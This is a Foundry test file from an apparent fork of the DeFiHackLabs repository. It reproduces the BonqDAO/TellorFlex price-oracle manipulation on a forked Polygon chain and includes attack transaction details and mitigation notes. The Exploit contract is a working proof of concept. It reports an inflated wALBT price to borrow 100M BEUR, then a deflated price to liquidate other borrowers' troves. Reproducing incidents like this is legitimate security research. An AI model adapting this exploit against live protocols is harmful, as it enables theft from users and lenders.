forked from zhouxianyuan/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 2
/
BonqDAO_exp.sol
452 lines (407 loc) · 24 KB
/
BonqDAO_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo
// Total Lost : BEUR stablecoin and ALBT token (~88MUS$)
// |_ 100,514,098.3407 BEUR from BonqDAO protocol
// |_ 113,813,998.3698 ALBT from BonqDAO's borrowers
// Attacker: 0xcAcf2D28B2A5309e099f0C6e8C60Ec3dDf656642
// Attack Contract: 0xed596991ac5f1aa1858da66c67f7cfa7e54b5f1
// Root cause : Price Oracle manipulation
// The Vulnerability on TellorFlex, Exploit on BonqDAO affecting the AllianceBlock token.
// The cost of the collateral required by the TellorFlex Oracle to quote is much lower than the profit from the attacker,
// So the attacker manipulates the wALBT price to extremely high to borrow massive amount of BEUR in Tx1
// Then, the attacker manipulates the wALBT price to extremely low to liquidates other users wALBT CDP in Tx2.
// Potential mitigations:
// 1. Use VWAP-based Price Oracle or TWAP-based Price Oracle.
// 2. Use `getDataBefore()` to get a wALBT price that passed a sufficient dispute window
// @Info
// Attack Txs:
// Tx1: 0x31957ecc43774d19f54d9968e95c69c882468b46860f921668f2c55fadd51b19 (for BEUR) 38792978
// Tx2: 0xa02d0c3d16d6ee0e0b6a42c3cc91997c2b40c87d777136dedebe8ee0f47f32b1 (for ALBT) 38793029
// Vulnerable Contract Code:
// https://polygonscan.com/address/0x8f55d884cad66b79e1a131f6bcb0e66f4fd84d5b#code#F2#L282
// Malicious Price Reporters:
// For Tx1: 0xbaf48429b4d30bdfad488508d3b528033331fe8a
// For Tx2: 0xb5c0ba8ed0f4fb9a31fccf84b9fb3da639a1ede5
// @Analysis
// Blocksec: https://twitter.com/BlockSecTeam/status/1621043757390123008
// Blocksec MetaSleuth: https://twitter.com/i/web/status/1621006016065474560
// PeckShield: https://twitter.com/peckshield/status/1620926816868499458
// CertiK: https://twitter.com/CertiKAlert/status/1621008399772024833
// Slowmist: https://twitter.com/SlowMist_Team/status/1621087651158966274
// Slowmist(Chinese): https://foresightnews.pro/news/detail/16843
// @Positive-reputation
// https://explorer.forta.network/alert/0x6338aaa7df91e7136c9f494dfea2c5309dae7c1575815f015f1e9e94be6759d5
// PR welcome!
contract Attacker is Test {
IERC20 constant TRB = IERC20(0xE3322702BEdaaEd36CdDAb233360B939775ae5f1);
IERC20 constant WALBT = IERC20(0x35b2ECE5B1eD6a7a99b83508F8ceEAB8661E0632);
IERC20 constant BEUR = IERC20(0x338Eb4d394a4327E5dB80d08628fa56EA2FD4B81);
Exploit exploit;
function testExploit() public {
// Full simulation, run Tx1 and Tx2
vm.createSelectFork("polygon", 38792977);
exploit = new Exploit();
// Pre-works, check out: https://polygonscan.com/address/0xed596991ac5f1aa1858da66c67f7cfa76e54b5f1#tokentxns
deal(address(TRB), address(exploit), 20e18); // just for staking purposes, we simplify to 20e18 :)
deal(address(WALBT), address(exploit), 13.35973256272339977e18 * 2);
exploit.tx1_mintMassiveAmountOfBEUR();
vm.roll(38793028);
vm.warp(1675276266);
exploit.tx2_liquidateMassiveAmountOfALBT();
// Print exploit result
emit log_named_decimal_uint("[result] BEUR balance in Exploit contract", BEUR.balanceOf(address(exploit)), 18);
emit log_named_decimal_uint("[result] wALBT balance in Exploit contract", WALBT.balanceOf(address(exploit)), 18);
}
function testAttackTx1() public {
// Only run attack Tx1
vm.createSelectFork("polygon", 38792977);
exploit = new Exploit();
deal(address(TRB), address(exploit), 10e18);
deal(address(WALBT), address(exploit), 13.35973256272339977e18);
exploit.tx1_mintMassiveAmountOfBEUR();
// Print BEUR exploit result
emit log_named_decimal_uint("[result] BEUR balance in Exploit contract", BEUR.balanceOf(address(exploit)), 18);
}
function testAttackTx2() public {
// Only run attack Tx2
vm.createSelectFork("polygon", 38793028);
exploit = new Exploit();
deal(address(TRB), address(exploit), 20e18);
deal(address(WALBT), address(exploit), 13.35973256272339977e18 * 2);
deal(address(BEUR), address(exploit), 100_000_000e18); // profit from tx1
exploit.tx2_liquidateMassiveAmountOfALBT();
// Print ALBT exploit result
emit log_named_decimal_uint("[result] wALBT balance in Exploit contract", WALBT.balanceOf(address(exploit)), 18);
}
}
contract Exploit is Test {
ITellorFlex constant TellorFlex = ITellorFlex(0x8f55D884CAD66B79e1a131f6bCB0e66f4fD84d5B);
IOriginalTroveFactory constant BonqProxy = IOriginalTroveFactory(0x3bB7fFD08f46620beA3a9Ae7F096cF2b213768B3);
IERC20 constant TRB = IERC20(0xE3322702BEdaaEd36CdDAb233360B939775ae5f1);
IERC20 constant WALBT = IERC20(0x35b2ECE5B1eD6a7a99b83508F8ceEAB8661E0632);
IERC20 constant BEUR = IERC20(0x338Eb4d394a4327E5dB80d08628fa56EA2FD4B81);
address maliciousTrove;
address maliciousTrove2;
function tx1_mintMassiveAmountOfBEUR() public { // func_0xa11ce20c
console.log("Update wALBT price to extremely high");
PriceReporter Reporter = new PriceReporter();
TRB.transfer(address(Reporter), TellorFlex.getStakeAmount()); // transfer 10 TRB to price reporter
Reporter.updatePrice(10e18, 5e27);
console.log("Use 0.1 wALBT as collateral, borrow massive amount of BEUR");
maliciousTrove = BonqProxy.createTrove(address(WALBT)); // attacker create a new trove
WALBT.transfer(maliciousTrove, 0.1 * 1e18); // transfer 0.1 wALBT to trove as collateral
ITrove(maliciousTrove).increaseCollateral(0, address(0));
ITrove(maliciousTrove).borrow(address(this), 100_000_000e18, address(0)); // borrow 100,000,000 BEUR
console.log("Create another trove for attack Tx2");
maliciousTrove2 = BonqProxy.createTrove(address(WALBT));
WALBT.transfer(maliciousTrove2, WALBT.balanceOf(address(this)));
ITrove(maliciousTrove2).increaseCollateral(0, address(0));
}
function tx2_liquidateMassiveAmountOfALBT() public { // func_0x770344d9
console.log("Update wALBT price to extremely low");
PriceReporter Reporter = new PriceReporter();
TRB.transfer(address(Reporter), TellorFlex.getStakeAmount()); // transfer 10 TRB to price reporter
Reporter.updatePrice(10e18, 0.0000001 * 1e18);
console.log("Get all trove addresses");
address[] memory troves = new address[](45);
troves[0] = BonqProxy.firstTrove(address(WALBT));
troves[44] = BonqProxy.lastTrove(address(WALBT));
require(troves[44] == 0x5343c5d0af82b89DF164A9e829A7102c4edB5402, "Last trove creator is not attacker"); // note: assert troves[44] is maliciousTrove2
for(uint i=1; i < troves.length; ++i){ // troves[1] ~ troves[44]
troves[i] = BonqProxy.nextTrove(address(WALBT), troves[i-1]);
}
console.log("Liqudate all borrowers");
for(uint i=1; i < troves.length - 1; ++i){
address target = troves[i];
require(BonqProxy.containsTrove(address(WALBT), target)); // check target exists before exploit
uint256 debt = ITrove(target).debt();
if (debt == 0) {
continue; // trove no debt, pass
}
ITrove(target).liquidate();
}
console.log("Repay attacker's trove debt");
BEUR.approve(troves[44], type(uint256).max);
ITrove(troves[44]).repay(type(uint256).max, address(0));
uint256 walbt_in_attacker_trove = WALBT.balanceOf(troves[44]);
emit log_named_decimal_uint("[debug] WALBT balance in attacker's trove", walbt_in_attacker_trove, 18);
console.log("Withdraw wALBT to Exploit contract");
address maliciousTrove2_owner = ITrove(troves[44]).getRoleMember(keccak256("OWNER_ROLE"), 0);
vm.prank(maliciousTrove2_owner);
ITrove(troves[44]).decreaseCollateral(address(this), walbt_in_attacker_trove, address(0));
}
function updatePrice(uint256 _tokenId, uint256 _price) public {
bytes memory queryData = hex"00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000953706f745072696365000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000004616c62740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000037573640000000000000000000000000000000000000000000000000000000000"; // not sure what this means
bytes32 queryId = keccak256(queryData);
bytes memory price = abi.encodePacked(_price);
TRB.approve(address(TellorFlex), type(uint256).max);
TellorFlex.depositStake(_tokenId);
TellorFlex.submitValue(queryId, price, 0, queryData);
}
}
contract PriceReporter is Test {
function updatePrice(uint256 _tokenId, uint256 _price) public {
(bool suc, ) = msg.sender.delegatecall(abi.encodeWithSignature("updatePrice(uint256,uint256)", _tokenId, _price));
require(suc, "Update price failed");
}
}
/*---------- Interface ----------*/
interface ITellorFlex {
event NewReport(
bytes32 indexed _queryId,
uint256 indexed _time,
bytes _value,
uint256 _nonce,
bytes _queryData,
address indexed _reporter
);
event NewStakeAmount(uint256 _newStakeAmount);
event NewStaker(address indexed _staker, uint256 indexed _amount);
event ReporterSlashed(address indexed _reporter, address _recipient, uint256 _slashAmount);
event StakeWithdrawRequested(address _staker, uint256 _amount);
event StakeWithdrawn(address _staker);
event ValueRemoved(bytes32 _queryId, uint256 _timestamp);
function accumulatedRewardPerShare() external view returns (uint256);
function addStakingRewards(uint256 _amount) external;
function depositStake(uint256 _amount) external;
function getBlockNumberByTimestamp(bytes32 _queryId, uint256 _timestamp) external view returns (uint256);
function getCurrentValue(bytes32 _queryId) external view returns (bytes memory _value);
function getDataBefore(bytes32 _queryId, uint256 _timestamp)
external
view
returns (bool _ifRetrieve, bytes memory _value, uint256 _timestampRetrieved);
function getGovernanceAddress() external view returns (address);
function getIndexForDataBefore(bytes32 _queryId, uint256 _timestamp)
external
view
returns (bool _found, uint256 _index);
function getNewValueCountbyQueryId(bytes32 _queryId) external view returns (uint256);
function getPendingRewardByStaker(address _stakerAddress) external returns (uint256 _pendingReward);
function getRealStakingRewardsBalance() external view returns (uint256);
function getReportDetails(bytes32 _queryId, uint256 _timestamp) external view returns (address, bool);
function getReporterByTimestamp(bytes32 _queryId, uint256 _timestamp) external view returns (address);
function getReporterLastTimestamp(address _reporter) external view returns (uint256);
function getReportingLock() external view returns (uint256);
function getReportsSubmittedByAddress(address _reporter) external view returns (uint256);
function getReportsSubmittedByAddressAndQueryId(address _reporter, bytes32 _queryId)
external
view
returns (uint256);
function getStakeAmount() external view returns (uint256);
function getStakerInfo(address _stakerAddress)
external
view
returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, bool);
function getTimeOfLastNewValue() external view returns (uint256);
function getTimestampIndexByTimestamp(bytes32 _queryId, uint256 _timestamp) external view returns (uint256);
function getTimestampbyQueryIdandIndex(bytes32 _queryId, uint256 _index) external view returns (uint256);
function getTokenAddress() external view returns (address);
function getTotalStakeAmount() external view returns (uint256);
function getTotalStakers() external view returns (uint256);
function getTotalTimeBasedRewardsBalance() external view returns (uint256);
function governance() external view returns (address);
function init(address _governanceAddress) external;
function isInDispute(bytes32 _queryId, uint256 _timestamp) external view returns (bool);
function minimumStakeAmount() external view returns (uint256);
function owner() external view returns (address);
function removeValue(bytes32 _queryId, uint256 _timestamp) external;
function reportingLock() external view returns (uint256);
function requestStakingWithdraw(uint256 _amount) external;
function retrieveData(bytes32 _queryId, uint256 _timestamp) external view returns (bytes memory);
function rewardRate() external view returns (uint256);
function slashReporter(address _reporter, address _recipient) external returns (uint256 _slashAmount);
function stakeAmount() external view returns (uint256);
function stakeAmountDollarTarget() external view returns (uint256);
function stakingRewardsBalance() external view returns (uint256);
function stakingTokenPriceQueryId() external view returns (bytes32);
function submitValue(bytes32 _queryId, bytes memory _value, uint256 _nonce, bytes memory _queryData) external;
function timeBasedReward() external view returns (uint256);
function timeOfLastAllocation() external view returns (uint256);
function timeOfLastNewValue() external view returns (uint256);
function toWithdraw() external view returns (uint256);
function token() external view returns (address);
function totalRewardDebt() external view returns (uint256);
function totalStakeAmount() external view returns (uint256);
function totalStakers() external view returns (uint256);
function updateStakeAmount() external;
function verify() external pure returns (uint256);
function withdrawStake() external;
}
interface IOriginalTroveFactory {
event AdminChanged(address previousAdmin, address newAdmin);
event BeaconUpgraded(address indexed beacon);
event CollateralUpdate(address token, uint256 totalCollateral);
event DebtUpdate(address collateral, uint256 totalDebt);
event Initialized(uint8 version);
event NewTrove(address trove, address token, address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event Paused(address account);
event Redemption(
address token,
uint256 stableAmount,
uint256 tokenAmount,
uint256 stableUnspent,
uint256 startBaseRate,
uint256 finishBaseRate,
address lastTroveRedeemed
);
event TroveCollateralUpdate(address trove, address token, uint256 newAmount, uint256 newCollateralization);
event TroveDebtUpdate(
address trove,
address actor,
address token,
uint256 newAmount,
uint256 baseRate,
uint256 newCollateralization,
uint256 feePaid
);
event TroveImplementationSet(address previousImplementation, address newImplementation);
event TroveInserted(address token, address trove, address referenceTrove, bool before);
event TroveLiquidated(
address trove,
address collateralToken,
uint256 priceAtLiquidation,
address stabilityPoolLiquidation,
uint256 collateral
);
event TroveRemoved(address trove);
event Unpaused(address account);
event Upgraded(address indexed implementation);
function BORROWING_RATE() external view returns (uint256);
function DECIMAL_PRECISION() external view returns (uint256);
function LIQUIDATION_RESERVE() external view returns (uint256);
function MAX_BORROWING_RATE() external view returns (uint256);
function MAX_INT() external view returns (uint256);
function PERCENT() external view returns (uint256);
function PERCENT10() external view returns (uint256);
function PERCENT_05() external view returns (uint256);
function WETHContract() external view returns (address);
function arbitragePool() external view returns (address);
function containsTrove(address _token, address _trove) external view returns (bool);
function createTrove(address _token) external returns (address trove);
function createTroveAndBorrow(
address _token,
uint256 _collateralAmount,
address _recipient,
uint256 _borrowAmount,
address _nextTrove
) external;
function emitLiquidationEvent(address _token, address _trove, address stabilityPoolLiquidation, uint256 collateral)
external;
function emitTroveCollateralUpdate(address _token, uint256 _newAmount, uint256 _newCollateralization) external;
function emitTroveDebtUpdate(address _token, uint256 _newAmount, uint256 _newCollateralization, uint256 _feePaid)
external;
function feeRecipient() external view returns (address);
function firstTrove(address _token) external view returns (address);
function getBorrowingFee(uint256 _amount) external view returns (uint256);
function getRedemptionAmount(uint256 _feeRatio, uint256 _amount) external pure returns (uint256);
function getRedemptionFee(uint256 _feeRatio, uint256 _amount) external pure returns (uint256);
function getRedemptionFeeRatio(address _trove) external view returns (uint256);
function increaseCollateralNative(address _trove, address _newNextTrove) external payable;
function initialize(address _stableCoin, address _feeRecipient) external;
function insertTrove(address _token, address _newNextTrove) external;
function lastTrove(address _token) external view returns (address);
function liquidateTrove(address _trove, address _token) external;
function liquidationPool(address _token) external view returns (address);
function name() external view returns (string memory);
function nextTrove(address _token, address _trove) external view returns (address);
function owner() external view returns (address);
function paused() external view returns (bool);
function prevTrove(address _token, address _trove) external view returns (address);
function proxiableUUID() external view returns (bytes32);
function redeemStableCoinForCollateral(
address _collateralToken,
uint256 _stableAmount,
uint256 _maxRate,
uint256 _lastTroveCurrentICR,
address _lastTroveNewPositionHint
) external;
function removeTrove(address _token, address _trove) external;
function renounceOwnership() external;
function setArbitragePool(address _arbitragePool) external;
function setFeeRecipient(address _feeRecipient) external;
function setLiquidationPool(address _token, address _liquidationPool) external;
function setStabilityPool(address _stabilityPool) external;
function setTokenOwner() external;
function setTokenPriceFeed(address _tokenPriceFeed) external;
function setTroveImplementation(address _troveImplementation) external;
function setWETH(address _WETH, address _liquidationPool) external;
function stabilityPool() external view returns (address);
function stableCoin() external view returns (address);
function togglePause() external;
function tokenCollateralization(address _token) external view returns (uint256);
function tokenOwner() external view returns (address);
function tokenToPriceFeed() external view returns (address);
function totalCollateral(address _token) external view returns (uint256);
function totalDebt() external view returns (uint256);
function totalDebtForToken(address _token) external view returns (uint256);
function transferOwnership(address newOwner) external;
function transferTokenOwnerOwnership(address _newOwner) external;
function transferTokenOwnership(address _newOwner) external;
function troveCount(address _token) external view returns (uint256);
function troveImplementation() external view returns (address);
function updateTotalCollateral(address _token, uint256 _amount, bool _increase) external;
function updateTotalDebt(uint256 _amount, bool _borrow) external;
function upgradeTo(address newImplementation) external;
function upgradeToAndCall(address newImplementation, bytes memory data) external payable;
}
interface ITrove {
event Liquidated(address trove, uint256 debt, uint256 collateral);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function BORROWING_RATE() external view returns (uint256);
function DECIMAL_PRECISION() external view returns (uint256);
function DEFAULT_ADMIN_ROLE() external view returns (bytes32);
function LIQUIDATION_RESERVE() external view returns (uint256);
function MAX_BORROWING_RATE() external view returns (uint256);
function MAX_INT() external view returns (uint256);
function OWNER_ROLE() external view returns (bytes32);
function PERCENT() external view returns (uint256);
function PERCENT10() external view returns (uint256);
function PERCENT_05() external view returns (uint256);
function TOKEN_PRECISION() external view returns (uint256);
function addOwner(address _newOwner) external;
function arbitrageParticipation() external view returns (bool);
function arbitrageState() external view returns (address arbitragePool, address apToken, uint256 lastApPrice);
function borrow(address _recipient, uint256 _amount, address _newNextTrove) external;
function collateral() external view returns (uint256);
function collateralValue() external view returns (uint256);
function collateralization() external view returns (uint256);
function debt() external view returns (uint256);
function decreaseCollateral(address _recipient, uint256 _amount, address _newNextTrove) external;
function factory() external view returns (address);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
function getRoleMemberCount(bytes32 role) external view returns (uint256);
function grantRole(bytes32 role, address account) external;
function hasRole(bytes32 role, address account) external view returns (bool);
function increaseCollateral(uint256 _amount, address _newNextTrove) external;
function initialize(address _token, address _troveOwner) external;
function liqTokenRateSnapshot() external view returns (uint256);
function liquidate() external;
function liquidationReserve() external view returns (uint256);
function mcr() external view returns (uint256);
function netDebt() external view returns (uint256);
function owner() external view returns (address);
function recordedCollateral() external view returns (uint256);
function redeem(address _recipient, address _newNextTrove)
external
returns (uint256 _stableAmount, uint256 _collateralRecieved);
function removeOwner(address _ownerToRemove) external;
function renounceOwnership() external;
function renounceRole(bytes32 role, address account) external;
function repay(uint256 _amount, address _newNextTrove) external;
function revokeRole(bytes32 role, address account) external;
function setArbitrageParticipation(bool _state) external;
function supportsInterface(bytes4 interfaceId) external view returns (bool);
function token() external view returns (address);
function transferOwnership(address _newOwner) external;
function transferToken(address _token, address _recipient) external;
function unclaimedArbitrageReward() external view returns (uint256);
function unclaimedCollateralRewardAndDebt() external view returns (uint256, uint256);
}